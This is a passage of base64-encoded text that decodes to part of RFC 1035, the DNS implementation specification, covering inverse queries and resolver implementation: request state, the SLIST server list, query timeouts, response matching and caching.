ZlcnNlIHF1ZXJ5IHByb2Nlc3NpbmcKCk5hbWUgc2VydmVycyB0aGF0IHN1cHBvcnQgaW52ZXJzZSBxdWVyaWVzIGNhbiBzdXBwb3J0IHRoZXNlIG9wZXJhdGlvbnMKdGhyb3VnaCBleGhhdXN0aXZlIHNlYXJjaGVzIG9mIHRoZWlyIGRhdGFiYXNlcywgYnV0IHRoaXMgYmVjb21lcwppbXByYWN0aWNhbCBhcyB0aGUgc2l6ZSBvZiB0aGUgZGF0YWJhc2UgaW5jcmVhc2VzLiAgQW4gYWx0ZXJuYXRpdmUKYXBwcm9hY2ggaXMgdG8gaW52ZXJ0IHRoZSBkYXRhYmFzZSBhY2NvcmRpbmcgdG8gdGhlIHNlYXJjaCBrZXkuCgpGb3IgbmFtZSBzZXJ2ZXJzIHRoYXQgc3VwcG9ydCBtdWx0aXBsZSB6b25lcyBhbmQgYSBsYXJnZSBhbW91bnQgb2YgZGF0YSwKdGhlIHJlY29tbWVuZGVkIGFwcHJvYWNoIGlzIHNlcGFyYXRlIGludmVyc2lvbnMgZm9yIGVhY2ggem9uZS4gIFdoZW4gYQpwYXJ0aWN1bGFyIHpvbmUgaXMgY2hhbmdlZCBkdXJpbmcgYSByZWZyZXNoLCBvbmx5IGl0cyBpbnZlcnNpb25zIG5lZWQgdG8KYmUgcmVkb25lLgoKU3VwcG9ydCBmb3IgdHJhbnNmZXIgb2YgdGhpcyB0eXBlIG9mIGludmVyc2lvbiBtYXkgYmUgaW5jbHVkZWQgaW4gZnV0dXJlCnZlcnNpb25zIG9mIHRoZSBkb21haW4gc3lzdGVtLCBidXQgaXMgbm90IHN1cHBvcnRlZCBpbiB0aGlzIHZlcnNpb24uCgo2LjUuIENvbXBsZXRpb24gcXVlcmllcyBhbmQgcmVzcG9uc2VzCgpUaGUgb3B0aW9uYWwgY29tcGxldGlvbiBzZXJ2aWNlcyBkZXNjcmliZWQgaW4gUkZDLTg4MiBhbmQgUkZDLTg4MyBoYXZlCmJlZW4gZGVsZXRlZC4gIFJlZGVzaWduZWQgc2VydmljZXMgbWF5IGJlY29tZSBhdmFpbGFibGUgaW4gdGhlIGZ1dHVyZS4KCgoKCgoKCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDQyXQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCjcuIFJFU09MVkVSIElNUExFTUVOVEFUSU9OCgpUaGUgdG9wIGxldmVscyBvZiB0aGUgcmVjb21tZW5kZWQgcmVzb2x2ZXIgYWxnb3JpdGhtIGFyZSBkaXNjdXNzZWQgaW4KW1JGQy0xMDM0XS4gIFRoaXMgc2VjdGlvbiBkaXNjdXNzZXMgaW1wbGVtZW50YXRpb24gZGV0YWlscyBhc3N1bWluZyB0aGUKZGF0YWJhc2Ugc3RydWN0dXJlIHN1Z2dlc3RlZCBpbiB0aGUgbmFtZSBzZXJ2ZXIgaW1wbGVtZW50YXRpb24gc2VjdGlvbgpvZiB0aGlzIG1lbW8uCgo3LjEuIFRyYW5zZm9ybWluZyBhIHVzZXIgcmVxdWVzdCBpbnRvIGEgcXVlcnkKClRoZSBmaXJzdCBzdGVwIGEgcmVzb2x2ZXIgdGFrZXMgaXMgdG8gdHJhbnNmb3JtIHRoZSBjbGllbnQncyByZXF1ZXN0LApzdGF0ZWQgaW4gYSBmb3JtYXQgc3VpdGFibGUgdG8gdGhlIGxvY2FsIE9TLCBpbnRvIGEgc2VhcmNoIHNwZWNpZmljYXRpb24KZm9yIFJScyBhdCBhIHNwZWNpZmljIG5hbWUgd2hpY2ggbWF0Y2ggYSBzcGVjaWZpYyBRVFlQRSBhbmQgUUNMQVNTLgpXaGVyZSBwb3NzaWJsZSwgdGhlIFFUWVBFIGFuZCBRQ0xBU1Mgc2hvdWxkIGNvcnJlc3BvbmQgdG8gYSBzaW5nbGUgdHlwZQphbmQgYSBzaW5nbGUgY2xhc3MsIGJlY2F1c2UgdGhpcyBtYWtlcyB0aGUgdXNlIG9mIGNhY2hlZCBkYXRhIG11Y2gKc2ltcGxlci4gIFRoZSByZWFzb24gZm9yIHRoaXMgaXMgdGhhdCB0aGUgcHJlc2VuY2Ugb2YgZGF0YSBvZiBvbmUgdHlwZQppbiBhIGNhY2hlIGRvZXNuJ3QgY29uZmlybSB0aGUgZXhpc3RlbmNlIG9yIG5vbi1leGlzdGVuY2Ugb2YgZGF0YSBvZgpvdGhlciB0eXBlcywgaGVuY2UgdGhlIG9ubHkgd2F5IHRvIGJlIHN1cmUgaXMgdG8gY29uc3VsdCBhbgphdXRob3JpdGF0aXZlIHNvdXJjZS4gIElmIFFDTEFTUz0qIGlzIHVzZWQsIHRoZW4gYXV0aG9yaXRhdGl2ZSBhbnN3ZXJzCndvbid0IGJlIGF2YWlsYWJsZS4KClNpbmNlIGEgcmVzb2x2ZXIgbXVzdCBiZSBhYmxlIHRvIG11bHRpcGxleCBtdWx0aXBsZSByZXF1ZXN0cyBpZiBpdCBpcyB0bwpwZXJmb3JtIGl0cyBmdW5jdGlvbiBlZmZpY2llbnRseSwgZWFjaCBwZW5kaW5nIHJlcXVlc3QgaXMgdXN1YWxseQpyZXByZXNlbnRlZCBpbiBzb21lIGJsb2NrIG9mIHN0YXRlIGluZm9ybWF0aW9uLiAgVGhpcyBzdGF0ZSBibG9jayB3aWxsCnR5cGljYWxseSBjb250YWluOgoKICAgLSBBIHRpbWVzdGFtcCBpbmRpY2F0aW5nIHRoZSB0aW1lIHRoZSByZXF1ZXN0IGJlZ2FuLgogICAgIFRoZSB0aW1lc3RhbXAgaXMgdXNlZCB0byBkZWNpZGUgd2hldGhlciBSUnMgaW4gdGhlIGRhdGFiYXNlCiAgICAgY2FuIGJlIHVzZWQgb3IgYXJlIG91dCBvZiBkYXRlLiAgVGhpcyB0aW1lc3RhbXAgdXNlcyB0aGUKICAgICBhYnNvbHV0ZSB0aW1lIGZvcm1hdCBwcmV2aW91c2x5IGRpc2N1c3NlZCBmb3IgUlIgc3RvcmFnZSBpbgogICAgIHpvbmVzIGFuZCBjYWNoZXMuICBOb3RlIHRoYXQgd2hlbiBhbiBSUnMgVFRMIGluZGljYXRlcyBhCiAgICAgcmVsYXRpdmUgdGltZSwgdGhlIFJSIG11c3QgYmUgdGltZWx5LCBzaW5jZSBpdCBpcyBwYXJ0IG9mIGEKICAgICB6b25lLiAgV2hlbiB0aGUgUlIgaGFzIGFuIGFic29sdXRlIHRpbWUsIGl0IGlzIHBhcnQgb2YgYQogICAgIGNhY2hlLCBhbmQgdGhlIFRUTCBvZiB0aGUgUlIgaXMgY29tcGFyZWQgYWdhaW5zdCB0aGUgdGltZXN0YW1wCiAgICAgZm9yIHRoZSBzdGFydCBvZiB0aGUgcmVxdWVzdC4KCiAgICAgTm90ZSB0aGF0IHVzaW5nIHRoZSB0aW1lc3RhbXAgaXMgc3VwZXJpb3IgdG8gdXNpbmcgYSBjdXJyZW50CiAgICAgdGltZSwgc2luY2UgaXQgYWxsb3dzIFJScyB3aXRoIFRUTHMgb2YgemVybyB0byBiZSBlbnRlcmVkIGluCiAgICAgdGhlIGNhY2hlIGluIHRoZSB1c3VhbCBtYW5uZXIsIGJ1dCBzdGlsbCB1c2VkIGJ5IHRoZSBjdXJyZW50CiAgICAgcmVxdWVzdCwgZXZlbiBhZnRlciBpbnRlcnZhbHMgb2YgbWFueSBzZWNvbmRzIGR1ZSB0byBzeXN0ZW0KICAgICBsb2FkLCBxdWVyeSByZXRyYW5zbWlzc2lvbiB0aW1lb3V0cywgZXRjLgoKICAgLSBTb21lIHNvcnQgb2YgcGFyYW1ldGVycyB0byBsaW1pdCB0aGUgYW1vdW50IG9mIHdvcmsgd2hpY2ggd2lsbAogICAgIGJlIHBlcmZvcm1lZCBmb3IgdGhpcyByZXF1ZXN0LgoKICAgICBUaGUgYW1vdW50IG9mIHdvcmsgd2hpY2ggYSByZXNvbHZlciB3aWxsIGRvIGluIHJlc3BvbnNlIHRvIGEKICAgICBjbGllbnQgcmVxdWVzdCBtdXN0IGJlIGxpbWl0ZWQgdG8gZ3VhcmQgYWdhaW5zdCBlcnJvcnMgaW4gdGhlCiAgICAgZGF0YWJhc2UsIHN1Y2ggYXMgY2lyY3VsYXIgQ05BTUUgcmVmZXJlbmNlcywgYW5kIG9wZXJhdGlvbmFsCiAgICAgcHJvYmxlbXMsIHN1Y2ggYXMgbmV0d29yayBwYXJ0aXRpb24gd2hpY2ggcHJldmVudHMgdGhlCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDQzXQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCiAgICAgcmVzb2x2ZXIgZnJvbSBhY2Nlc3NpbmcgdGhlIG5hbWUgc2VydmVycyBpdCBuZWVkcy4gIFdoaWxlCiAgICAgbG9jYWwgbGltaXRzIG9uIHRoZSBudW1iZXIgb2YgdGltZXMgYSByZXNvbHZlciB3aWxsIHJldHJhbnNtaXQKICAgICBhIHBhcnRpY3VsYXIgcXVlcnkgdG8gYSBwYXJ0aWN1bGFyIG5hbWUgc2VydmVyIGFkZHJlc3MgYXJlCiAgICAgZXNzZW50aWFsLCB0aGUgcmVzb2x2ZXIgc2hvdWxkIGhhdmUgYSBnbG9iYWwgcGVyLXJlcXVlc3QKICAgICBjb3VudGVyIHRvIGxpbWl0IHdvcmsgb24gYSBzaW5nbGUgcmVxdWVzdC4gIFRoZSBjb3VudGVyIHNob3VsZAogICAgIGJlIHNldCB0byBzb21lIGluaXRpYWwgdmFsdWUgYW5kIGRlY3JlbWVudGVkIHdoZW5ldmVyIHRoZQogICAgIHJlc29sdmVyIHBlcmZvcm1zIGFueSBhY3Rpb24gKHJldHJhbnNtaXNzaW9uIHRpbWVvdXQsCiAgICAgcmV0cmFuc21pc3Npb24sIGV0Yy4pICBJZiB0aGUgY291bnRlciBwYXNzZXMgemVybywgdGhlIHJlcXVlc3QKICAgICBpcyB0ZXJtaW5hdGVkIHdpdGggYSB0ZW1wb3JhcnkgZXJyb3IuCgogICAgIE5vdGUgdGhhdCBpZiB0aGUgcmVzb2x2ZXIgc3RydWN0dXJlIGFsbG93cyBvbmUgcmVxdWVzdCB0bwogICAgIHN0YXJ0IG90aGVycyBpbiBwYXJhbGxlbCwgc3VjaCBhcyB3aGVuIHRoZSBuZWVkIHRvIGFjY2VzcyBhCiAgICAgbmFtZSBzZXJ2ZXIgZm9yIG9uZSByZXF1ZXN0IGNhdXNlcyBhIHBhcmFsbGVsIHJlc29sdmUgZm9yIHRoZQogICAgIG5hbWUgc2VydmVyJ3MgYWRkcmVzc2VzLCB0aGUgc3Bhd25lZCByZXF1ZXN0IHNob3VsZCBiZSBzdGFydGVkCiAgICAgd2l0aCBhIGxvd2VyIGNvdW50ZXIuICBUaGlzIHByZXZlbnRzIGNpcmN1bGFyIHJlZmVyZW5jZXMgaW4KICAgICB0aGUgZGF0YWJhc2UgZnJvbSBzdGFydGluZyBhIGNoYWluIHJlYWN0aW9uIG9mIHJlc29sdmVyCiAgICAgYWN0aXZpdHkuCgogICAtIFRoZSBTTElTVCBkYXRhIHN0cnVjdHVyZSBkaXNjdXNzZWQgaW4gW1JGQy0xMDM0XS4KCiAgICAgVGhpcyBzdHJ1Y3R1cmUga2VlcHMgdHJhY2sgb2YgdGhlIHN0YXRlIG9mIGEgcmVxdWVzdCBpZiBpdAogICAgIG11c3Qgd2FpdCBmb3IgYW5zd2VycyBmcm9tIGZvcmVpZ24gbmFtZSBzZXJ2ZXJzLgoKNy4yLiBTZW5kaW5nIHRoZSBxdWVyaWVzCgpBcyBkZXNjcmliZWQgaW4gW1JGQy0xMDM0XSwgdGhlIGJhc2ljIHRhc2sgb2YgdGhlIHJlc29sdmVyIGlzIHRvCmZvcm11bGF0ZSBhIHF1ZXJ5IHdoaWNoIHdpbGwgYW5zd2VyIHRoZSBjbGllbnQncyByZXF1ZXN0IGFuZCBkaXJlY3QgdGhhdApxdWVyeSB0byBuYW1lIHNlcnZlcnMgd2hpY2ggY2FuIHByb3ZpZGUgdGhlIGluZm9ybWF0aW9uLiAgVGhlIHJlc29sdmVyCndpbGwgdXN1YWxseSBvbmx5IGhhdmUgdmVyeSBzdHJvbmcgaGludHMgYWJvdXQgd2hpY2ggc2VydmVycyB0byBhc2ssIGluCnRoZSBmb3JtIG9mIE5TIFJScywgYW5kIG1heSBoYXZlIHRvIHJldmlzZSB0aGUgcXVlcnksIGluIHJlc3BvbnNlIHRvCkNOQU1Fcywgb3IgcmV2aXNlIHRoZSBzZXQgb2YgbmFtZSBzZXJ2ZXJzIHRoZSByZXNvbHZlciBpcyBhc2tpbmcsIGluCnJlc3BvbnNlIHRvIGRlbGVnYXRpb24gcmVzcG9uc2VzIHdoaWNoIHBvaW50IHRoZSByZXNvbHZlciB0byBuYW1lCnNlcnZlcnMgY2xvc2VyIHRvIHRoZSBkZXNpcmVkIGluZm9ybWF0aW9uLiAgSW4gYWRkaXRpb24gdG8gdGhlCmluZm9ybWF0aW9uIHJlcXVlc3RlZCBieSB0aGUgY2xpZW50LCB0aGUgcmVzb2x2ZXIgbWF5IGhhdmUgdG8gY2FsbCB1cG9uCml0cyBvd24gc2VydmljZXMgdG8gZGV0ZXJtaW5lIHRoZSBhZGRyZXNzIG9mIG5hbWUgc2VydmVycyBpdCB3aXNoZXMgdG8KY29udGFjdC4KCkluIGFueSBjYXNlLCB0aGUgbW9kZWwgdXNlZCBpbiB0aGlzIG1lbW8gYXNzdW1lcyB0aGF0IHRoZSByZXNvbHZlciBpcwptdWx0aXBsZXhpbmcgYXR0ZW50aW9uIGJldHdlZW4gbXVsdGlwbGUgcmVxdWVzdHMsIHNvbWUgZnJvbSB0aGUgY2xpZW50LAphbmQgc29tZSBpbnRlcm5hbGx5IGdlbmVyYXRlZC4gIEVhY2ggcmVxdWVzdCBpcyByZXByZXNlbnRlZCBieSBzb21lCnN0YXRlIGluZm9ybWF0aW9uLCBhbmQgdGhlIGRlc2lyZWQgYmVoYXZpb3IgaXMgdGhhdCB0aGUgcmVzb2x2ZXIKdHJhbnNtaXQgcXVlcmllcyB0byBuYW1lIHNlcnZlcnMgaW4gYSB3YXkgdGhhdCBtYXhpbWl6ZXMgdGhlIHByb2JhYmlsaXR5CnRoYXQgdGhlIHJlcXVlc3QgaXMgYW5zd2VyZWQsIG1pbmltaXplcyB0aGUgdGltZSB0aGF0IHRoZSByZXF1ZXN0IHRha2VzLAphbmQgYXZvaWRzIGV4Y2Vzc2l2ZSB0cmFuc21pc3Npb25zLiAgVGhlIGtleSBhbGdvcml0aG0gdXNlcyB0aGUgc3RhdGUKaW5mb3JtYXRpb24gb2YgdGhlIHJlcXVlc3QgdG8gc2VsZWN0IHRoZSBuZXh0IG5hbWUgc2VydmVyIGFkZHJlc3MgdG8KcXVlcnksIGFuZCBhbHNvIGNvbXB1dGVzIGEgdGltZW91dCB3aGljaCB3aWxsIGNhdXNlIHRoZSBuZXh0IGFjdGlvbgpzaG91bGQgYSByZXNwb25zZSBub3QgYXJyaXZlLiAgVGhlIG5leHQgYWN0aW9uIHdpbGwgdXN1YWxseSBiZSBhCnRyYW5zbWlzc2lvbiB0byBzb21lIG90aGVyIHNlcnZlciwgYnV0IG1heSBiZSBhIHRlbXBvcmFyeSBlcnJvciB0byB0aGUKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNDRdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKY2xpZW50LgoKVGhlIHJlc29sdmVyIGFsd2F5cyBzdGFydHMgd2l0aCBhIGxpc3Qgb2Ygc2VydmVyIG5hbWVzIHRvIHF1ZXJ5IChTTElTVCkuClRoaXMgbGlzdCB3aWxsIGJlIGFsbCBOUyBSUnMgd2hpY2ggY29ycmVzcG9uZCB0byB0aGUgbmVhcmVzdCBhbmNlc3Rvcgp6b25lIHRoYXQgdGhlIHJlc29sdmVyIGtub3dzIGFib3V0LiAgVG8gYXZvaWQgc3RhcnR1cCBwcm9ibGVtcywgdGhlCnJlc29sdmVyIHNob3VsZCBoYXZlIGEgc2V0IG9mIGRlZmF1bHQgc2VydmVycyB3aGljaCBpdCB3aWxsIGFzayBzaG91bGQKaXQgaGF2ZSBubyBjdXJyZW50IE5TIFJScyB3aGljaCBhcmUgYXBwcm9wcmlhdGUuICBUaGUgcmVzb2x2ZXIgdGhlbiBhZGRzCnRvIFNMSVNUIGFsbCBvZiB0aGUga25vd24gYWRkcmVzc2VzIGZvciB0aGUgbmFtZSBzZXJ2ZXJzLCBhbmQgbWF5IHN0YXJ0CnBhcmFsbGVsIHJlcXVlc3RzIHRvIGFjcXVpcmUgdGhlIGFkZHJlc3NlcyBvZiB0aGUgc2VydmVycyB3aGVuIHRoZQpyZXNvbHZlciBoYXMgdGhlIG5hbWUsIGJ1dCBubyBhZGRyZXNzZXMsIGZvciB0aGUgbmFtZSBzZXJ2ZXJzLgoKVG8gY29tcGxldGUgaW5pdGlhbGl6YXRpb24gb2YgU0xJU1QsIHRoZSByZXNvbHZlciBhdHRhY2hlcyB3aGF0ZXZlcgpoaXN0b3J5IGluZm9ybWF0aW9uIGl0IGhhcyB0byB0aGUgZWFjaCBhZGRyZXNzIGluIFNMSVNULiAgVGhpcyB3aWxsCnVzdWFsbHkgY29uc2lzdCBvZiBzb21lIHNvcnQgb2Ygd2VpZ2h0ZWQgYXZlcmFnZXMgZm9yIHRoZSByZXNwb25zZSB0aW1lCm9mIHRoZSBhZGRyZXNzLCBhbmQgdGhlIGJhdHRpbmcgYXZlcmFnZSBvZiB0aGUgYWRkcmVzcyAoaS5lLiwgaG93IG9mdGVuCnRoZSBhZGRyZXNzIHJlc3BvbmRlZCBhdCBhbGwgdG8gdGhlIHJlcXVlc3QpLiAgTm90ZSB0aGF0IHRoaXMKaW5mb3JtYXRpb24gc2hvdWxkIGJlIGtlcHQgb24gYSBwZXIgYWRkcmVzcyBiYXNpcywgcmF0aGVyIHRoYW4gb24gYSBwZXIKbmFtZSBzZXJ2ZXIgYmFzaXMsIGJlY2F1c2UgdGhlIHJlc3BvbnNlIHRpbWUgYW5kIGJhdHRpbmcgYXZlcmFnZSBvZiBhCnBhcnRpY3VsYXIgc2VydmVyIG1heSB2YXJ5IGNvbnNpZGVyYWJseSBmcm9tIGFkZHJlc3MgdG8gYWRkcmVzcy4gIE5vdGUKYWxzbyB0aGF0IHRoaXMgaW5mb3JtYXRpb24gaXMgYWN0dWFsbHkgc3BlY2lmaWMgdG8gYSByZXNvbHZlciBhZGRyZXNzIC8Kc2VydmVyIGFkZHJlc3MgcGFpciwgc28gYSByZXNvbHZlciB3aXRoIG11bHRpcGxlIGFkZHJlc3NlcyBtYXkgd2lzaCB0bwprZWVwIHNlcGFyYXRlIGhpc3RvcmllcyBmb3IgZWFjaCBvZiBpdHMgYWRkcmVzc2VzLiAgUGFydCBvZiB0aGlzIHN0ZXAKbXVzdCBkZWFsIHdpdGggYWRkcmVzc2VzIHdoaWNoIGhhdmUgbm8gc3VjaCBoaXN0b3J5OyBpbiB0aGlzIGNhc2UgYW4KZXhwZWN0ZWQgcm91bmQgdHJpcCB0aW1lIG9mIDUtMTAgc2Vjb25kcyBzaG91bGQgYmUgdGhlIHdvcnN0IGNhc2UsIHdpdGgKbG93ZXIgZXN0aW1hdGVzIGZvciB0aGUgc2FtZSBsb2NhbCBuZXR3b3JrLCBldGMuCgpOb3RlIHRoYXQgd2hlbmV2ZXIgYSBkZWxlZ2F0aW9uIGlzIGZvbGxvd2VkLCB0aGUgcmVzb2x2ZXIgYWxnb3JpdGhtCnJlaW5pdGlhbGl6ZXMgU0xJU1QuCgpUaGUgaW5mb3JtYXRpb24gZXN0YWJsaXNoZXMgYSBwYXJ0aWFsIHJhbmtpbmcgb2YgdGhlIGF2YWlsYWJsZSBuYW1lCnNlcnZlciBhZGRyZXNzZXMuICBFYWNoIHRpbWUgYW4gYWRkcmVzcyBpcyBjaG9zZW4gYW5kIHRoZSBzdGF0ZSBzaG91bGQKYmUgYWx0ZXJlZCB0byBwcmV2ZW50IGl0cyBzZWxlY3Rpb24gYWdhaW4gdW50aWwgYWxsIG90aGVyIGFkZHJlc3NlcyBoYXZlCmJlZW4gdHJpZWQuICBUaGUgdGltZW91dCBmb3IgZWFjaCB0cmFuc21pc3Npb24gc2hvdWxkIGJlIDUwLTEwMCUgZ3JlYXRlcgp0aGFuIHRoZSBhdmVyYWdlIHByZWRpY3RlZCB2YWx1ZSB0byBhbGxvdyBmb3IgdmFyaWFuY2UgaW4gcmVzcG9uc2UuCgpTb21lIGZpbmUgcG9pbnRzOgoKICAgLSBUaGUgcmVzb2x2ZXIgbWF5IGVuY291bnRlciBhIHNpdHVhdGlvbiB3aGVyZSBubyBhZGRyZXNzZXMgYXJlCiAgICAgYXZhaWxhYmxlIGZvciBhbnkgb2YgdGhlIG5hbWUgc2VydmVycyBuYW1lZCBpbiBTTElTVCwgYW5kCiAgICAgd2hlcmUgdGhlIHNlcnZlcnMgaW4gdGhlIGxpc3QgYXJlIHByZWNpc2VseSB0aG9zZSB3aGljaCB3b3VsZAogICAgIG5vcm1hbGx5IGJlIHVzZWQgdG8gbG9vayB1cCB0aGVpciBvd24gYWRkcmVzc2VzLiAgVGhpcwogICAgIHNpdHVhdGlvbiB0eXBpY2FsbHkgb2NjdXJzIHdoZW4gdGhlIGdsdWUgYWRkcmVzcyBSUnMgaGF2ZSBhCiAgICAgc21hbGxlciBUVEwgdGhhbiB0aGUgTlMgUlJzIG1hcmtpbmcgZGVsZWdhdGlvbiwgb3Igd2hlbiB0aGUKICAgICByZXNvbHZlciBjYWNoZXMgdGhlIHJlc3VsdCBvZiBhIE5TIHNlYXJjaC4gIFRoZSByZXNvbHZlcgogICAgIHNob3VsZCBkZXRlY3QgdGhpcyBjb25kaXRpb24gYW5kIHJlc3RhcnQgdGhlIHNlYXJjaCBhdCB0aGUKICAgICBuZXh0IGFuY2VzdG9yIHpvbmUsIG9yIGFsdGVybmF0aXZlbHkgYXQgdGhlIHJvb3QuCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNDVdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKICAgLSBJZiBhIHJlc29sdmVyIGdldHMgYSBzZXJ2ZXIgZXJyb3Igb3Igb3RoZXIgYml6YXJyZSByZXNwb25zZQogICAgIGZyb20gYSBuYW1lIHNlcnZlciwgaXQgc2hvdWxkIHJlbW92ZSBpdCBmcm9tIFNMSVNULCBhbmQgbWF5CiAgICAgd2lzaCB0byBzY2hlZHVsZSBhbiBpbW1lZGlhdGUgdHJhbnNtaXNzaW9uIHRvIHRoZSBuZXh0CiAgICAgY2FuZGlkYXRlIHNlcnZlciBhZGRyZXNzLgoKNy4zLiBQcm9jZXNzaW5nIHJlc3BvbnNlcwoKVGhlIGZpcnN0IHN0ZXAgaW4gcHJvY2Vzc2luZyBhcnJpdmluZyByZXNwb25zZSBkYXRhZ3JhbXMgaXMgdG8gcGFyc2UgdGhlCnJlc3BvbnNlLiAgVGhpcyBwcm9jZWR1cmUgc2hvdWxkIGluY2x1ZGU6CgogICAtIENoZWNrIHRoZSBoZWFkZXIgZm9yIHJlYXNvbmFibGVuZXNzLiAgRGlzY2FyZCBkYXRhZ3JhbXMgd2hpY2gKICAgICBhcmUgcXVlcmllcyB3aGVuIHJlc3BvbnNlcyBhcmUgZXhwZWN0ZWQuCgogICAtIFBhcnNlIHRoZSBzZWN0aW9ucyBvZiB0aGUgbWVzc2FnZSwgYW5kIGluc3VyZSB0aGF0IGFsbCBSUnMgYXJlCiAgICAgY29ycmVjdGx5IGZvcm1hdHRlZC4KCiAgIC0gQXMgYW4gb3B0aW9uYWwgc3RlcCwgY2hlY2sgdGhlIFRUTHMgb2YgYXJyaXZpbmcgZGF0YSBsb29raW5nCiAgICAgZm9yIFJScyB3aXRoIGV4Y2Vzc2l2ZWx5IGxvbmcgVFRMcy4gIElmIGEgUlIgaGFzIGFuCiAgICAgZXhjZXNzaXZlbHkgbG9uZyBUVEwsIHNheSBncmVhdGVyIHRoYW4gMSB3ZWVrLCBlaXRoZXIgZGlzY2FyZAogICAgIHRoZSB3aG9sZSByZXNwb25zZSwgb3IgbGltaXQgYWxsIFRUTHMgaW4gdGhlIHJlc3BvbnNlIHRvIDEKICAgICB3ZWVrLgoKVGhlIG5leHQgc3RlcCBpcyB0byBtYXRjaCB0aGUgcmVzcG9uc2UgdG8gYSBjdXJyZW50IHJlc29sdmVyIHJlcXVlc3QuClRoZSByZWNvbW1lbmRlZCBzdHJhdGVneSBpcyB0byBkbyBhIHByZWxpbWluYXJ5IG1hdGNoaW5nIHVzaW5nIHRoZSBJRApmaWVsZCBpbiB0aGUgZG9tYWluIGhlYWRlciwgYW5kIHRoZW4gdG8gdmVyaWZ5IHRoYXQgdGhlIHF1ZXN0aW9uIHNlY3Rpb24KY29ycmVzcG9uZHMgdG8gdGhlIGluZm9ybWF0aW9uIGN1cnJlbnRseSBkZXNpcmVkLiAgVGhpcyByZXF1aXJlcyB0aGF0CnRoZSB0cmFuc21pc3Npb24gYWxnb3JpdGhtIGRldm90ZSBzZXZlcmFsIGJpdHMgb2YgdGhlIGRvbWFpbiBJRCBmaWVsZCB0bwphIHJlcXVlc3QgaWRlbnRpZmllciBvZiBzb21lIHNvcnQuICBUaGlzIHN0ZXAgaGFzIHNldmVyYWwgZmluZSBwb2ludHM6CgogICAtIFNvbWUgbmFtZSBzZXJ2ZXJzIHNlbmQgdGhlaXIgcmVzcG9uc2VzIGZyb20gZGlmZmVyZW50CiAgICAgYWRkcmVzc2VzIHRoYW4gdGhlIG9uZSB1c2VkIHRvIHJlY2VpdmUgdGhlIHF1ZXJ5LiAgVGhhdCBpcywgYQogICAgIHJlc29sdmVyIGNhbm5vdCByZWx5IHRoYXQgYSByZXNwb25zZSB3aWxsIGNvbWUgZnJvbSB0aGUgc2FtZQogICAgIGFkZHJlc3Mgd2hpY2ggaXQgc2VudCB0aGUgY29ycmVzcG9uZGluZyBxdWVyeSB0by4gIFRoaXMgbmFtZQogICAgIHNlcnZlciBidWcgaXMgdHlwaWNhbGx5IGVuY291bnRlcmVkIGluIFVOSVggc3lzdGVtcy4KCiAgIC0gSWYgdGhlIHJlc29sdmVyIHJldHJhbnNtaXRzIGEgcGFydGljdWxhciByZXF1ZXN0IHRvIGEgbmFtZQogICAgIHNlcnZlciBpdCBzaG91bGQgYmUgYWJsZSB0byB1c2UgYSByZXNwb25zZSBmcm9tIGFueSBvZiB0aGUKICAgICB0cmFuc21pc3Npb25zLiAgSG93ZXZlciwgaWYgaXQgaXMgdXNpbmcgdGhlIHJlc3BvbnNlIHRvIHNhbXBsZQogICAgIHRoZSByb3VuZCB0cmlwIHRpbWUgdG8gYWNjZXNzIHRoZSBuYW1lIHNlcnZlciwgaXQgbXVzdCBiZSBhYmxlCiAgICAgdG8gZGV0ZXJtaW5lIHdoaWNoIHRyYW5zbWlzc2lvbiBtYXRjaGVzIHRoZSByZXNwb25zZSAoYW5kIGtlZXAKICAgICB0cmFuc21pc3Npb24gdGltZXMgZm9yIGVhY2ggb3V0Z29pbmcgbWVzc2FnZSksIG9yIG9ubHkKICAgICBjYWxjdWxhdGUgcm91bmQgdHJpcCB0aW1lcyBiYXNlZCBvbiBpbml0aWFsIHRyYW5zbWlzc2lvbnMuCgogICAtIEEgbmFtZSBzZXJ2ZXIgd2lsbCBvY2Nhc2lvbmFsbHkgbm90IGhhdmUgYSBjdXJyZW50IGNvcHkgb2YgYQogICAgIHpvbmUgd2hpY2ggaXQgc2hvdWxkIGhhdmUgYWNjb3JkaW5nIHRvIHNvbWUgTlMgUlJzLiAgVGhlCiAgICAgcmVzb2x2ZXIgc2hvdWxkIHNpbXBseSByZW1vdmUgdGhlIG5hbWUgc2VydmVyIGZyb20gdGhlIGN1cnJlbnQKICAgICBTTElTVCwgYW5kIGNvbnRpbnVlLgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNDZdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKNy40LiBVc2luZyB0aGUgY2FjaGUKCkluIGdlbmVyYWwsIHdlIGV4cGVjdCBhIHJlc29sdmVyIHRvIGNhY2hlIGFsbCBkYXRhIHdoaWNoIGl0IHJlY2VpdmVzIGluCnJlc3BvbnNlcyBzaW5jZSBpdCBtYXkgYmUgdXNlZnVsIGluIGFuc3dlcmluZyBmdXR1cmUgY2xpZW50IHJlcXVlc3RzLgpIb3dldmVyLCB0aGVyZSBhcmUgc2V2ZXJhbCB0eXBlcyBvZiBkYXRhIHdoaWNoIHNob3VsZCBub3QgYmUgY2FjaGVkOgoKICAgLSBXa